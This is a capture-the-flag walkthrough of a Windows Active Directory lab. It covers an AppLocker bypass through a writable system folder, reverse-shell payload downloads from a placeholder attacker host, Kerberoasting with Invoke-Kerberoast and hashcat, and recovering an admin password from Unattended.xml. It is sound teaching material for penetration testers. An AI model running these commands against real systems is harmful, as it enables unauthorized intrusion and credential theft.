Corp Walkthrough - Kerberoasting
This room focuses on several common techniques used during Windows and Active Directory security assessments. The objective is to move from an initially restricted user environment to full administrative access by identifying and exploiting misconfigurations within the system. Along the way, the challenge demonstrates multiple real-world techniques frequently used during internal penetration tests, including application whitelisting bypasses, credential discovery through artifacts, Active Directory enumeration, Kerberoasting attacks, and privilege escalation through insecure configuration files.
After connecting to the machine using Remote Desktop with the provided credentials, the first step is to analyze the environment and identify any restrictions that might affect further actions. During the initial inspection of the system it becomes clear that AppLocker is enabled. AppLocker is a Windows security mechanism designed to control which applications and scripts are allowed to run on a system. Administrators often use it to prevent unauthorized binaries or scripts from executing.
However, AppLocker configurations often rely on predefined default rules. These rules typically allow execution from certain system directories located inside the Windows installation path. One such directory is the spool drivers color directory located within System32.
C:\Windows\System32\spool\drivers\color
Because this directory is part of the Windows system path, AppLocker may allow executables launched from this location. At the same time, the directory can sometimes be writable by non-privileged users. When both conditions are true, it becomes possible to place a custom executable or script inside this directory and execute it without triggering AppLocker restrictions. This behavior effectively creates an AppLocker bypass and allows arbitrary code execution despite the application control policy.
To make use of this bypass, a payload first needs to be transferred to the target system. On the attacker machine a simple Python web server can be started to host files that will later be downloaded by the target.
python3 -m http.server 1111
This command starts a lightweight HTTP server that shares all files located in the current directory. Any file placed in that directory becomes accessible through the attacker's IP address and the chosen port.
If a reverse shell is being used as the payload, a listener must also be started so that the attacker machine can accept the incoming connection from the compromised system.
nc -lvnp 4444
With the infrastructure prepared, the next step is to create or obtain a payload. In many cases this will be either a compiled executable or a PowerShell script that establishes a reverse connection back to the attacker. Reverse shell examples can be found in various penetration testing cheat sheets and security repositories.
Once the payload has been prepared, the target system can download it directly from the attacker machine using PowerShell. PowerShell includes built-in functionality for performing HTTP requests, which makes file transfers straightforward.
Invoke-WebRequest http://ATTACKER_IP:PORT/shell.exe -OutFile shell.exe
Alternatively, if a PowerShell script is used instead of an executable file, it can be downloaded in the same way.
Invoke-WebRequest http://ATTACKER_IP:PORT/shell.ps1 -OutFile shell.ps1
The file is stored in the current working directory, which in this case is the AppLocker-whitelisted spool drivers color directory. Because the file resides inside a directory that AppLocker allows, it can now be executed without being blocked by the policy.
.\shell.exe
or
powershell -ExecutionPolicy Bypass -File .\shell.ps1
Executing the payload from this directory allows code execution despite the presence of AppLocker.
After gaining the ability to run custom code, it is important to begin enumerating the system for potential artifacts and useful information. One particularly valuable source of information is the PowerShell command history. PowerShell automatically stores previously executed commands inside a history file located within the user's roaming profile.
%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Inspecting this file can reveal commands that were previously executed by the user. In many real environments administrators occasionally execute commands that contain sensitive information such as credentials, scripts, or internal infrastructure details. Reviewing this history file may therefore expose useful information that can assist in further privilege escalation.
With initial enumeration complete, attention can be turned to the Active Directory environment. A common technique used during domain assessments is the enumeration of Service Principal Names. SPNs are identifiers that associate services running within the domain with specific user accounts. Service accounts configured with SPNs are particularly interesting because they can be targeted through a technique known as Kerberoasting.
To enumerate all registered SPNs within the domain, the following command can be executed.
setspn -T medin -Q */*
This command queries the domain for service principal names and lists the accounts that own them. Among the results, a service account named fela appears. Service accounts like this often have passwords that are rarely changed and may be vulnerable to offline password cracking attacks.
To perform Kerberoasting, a PowerShell script such as Invoke-Kerberoast can be used. The script is first hosted on the attacker machine and then downloaded to the target system using the same web server previously started.
Invoke-WebRequest http://ATTACKER_IP/Invoke-Kerberoast.ps1 -OutFile Invoke-Kerberoast.ps1
Once downloaded, the script must be loaded into the current PowerShell session.
. .\Invoke-Kerberoast.ps1
Loading the script makes the Kerberoasting function available within the PowerShell environment. The attack can then be executed, requesting Kerberos service tickets associated with service accounts.
Invoke-Kerberoast -OutputFormat hashcat|f1
The output of this command contains a Kerberos service ticket hash. The hash begins with the identifier krb5tgs and represents the encrypted service ticket issued by the domain controller. Importantly, this ticket can be cracked offline without interacting further with the domain.
The hash can be transferred to the attacker machine and processed using a password cracking tool such as Hashcat.
hashcat -m 13100 hash.txt rockyou.txt
Hashcat attempts to recover the plaintext password associated with the service account by comparing the hash against entries in a wordlist. Once the password has been successfully cracked, valid domain credentials for the service account are obtained.
Using these newly discovered credentials, it becomes possible to authenticate to the target system again, this time using the service account rather than the original user.
xfreerdp /u:username /p:'password' /v:TARGET_IP /cert:ignore
After logging in as the service account, additional enumeration of the system is performed in order to identify possible privilege escalation paths. One important area to investigate is configuration files related to the Windows installation process. During automated deployments, Windows sometimes stores configuration files containing installation parameters, including credentials used during setup.
One such file is the unattended installation configuration file located in the Panther directory.
C:\Windows\Panther\Unattend\Unattended.xml
This file may contain credentials that were embedded during the automated deployment of the operating system. In this case the administrator password is stored in Base64 encoded format within the configuration file. Although Base64 encoding obscures the value, it does not provide any real security because the encoded string can easily be decoded.
The encoded value can be copied and decoded using a simple Base64 decoding command.
echo BASE64_STRING | base64 -d
Once decoded, the plaintext administrator password becomes visible. These credentials can then be used to authenticate as the system administrator, granting full control over the machine.
With administrative access achieved, the final flag can be obtained and the challenge is successfully completed.
Overall, this room demonstrates several techniques that are frequently encountered during real Windows penetration tests. These include bypassing application whitelisting controls such as AppLocker, analyzing PowerShell artifacts for credential discovery, enumerating Active Directory service accounts, performing Kerberoasting attacks to recover passwords, and escalating privileges by exploiting insecure configuration files left behind during automated system deployments. Together, these techniques illustrate how multiple small weaknesses within a system can be combined to achieve complete compromise.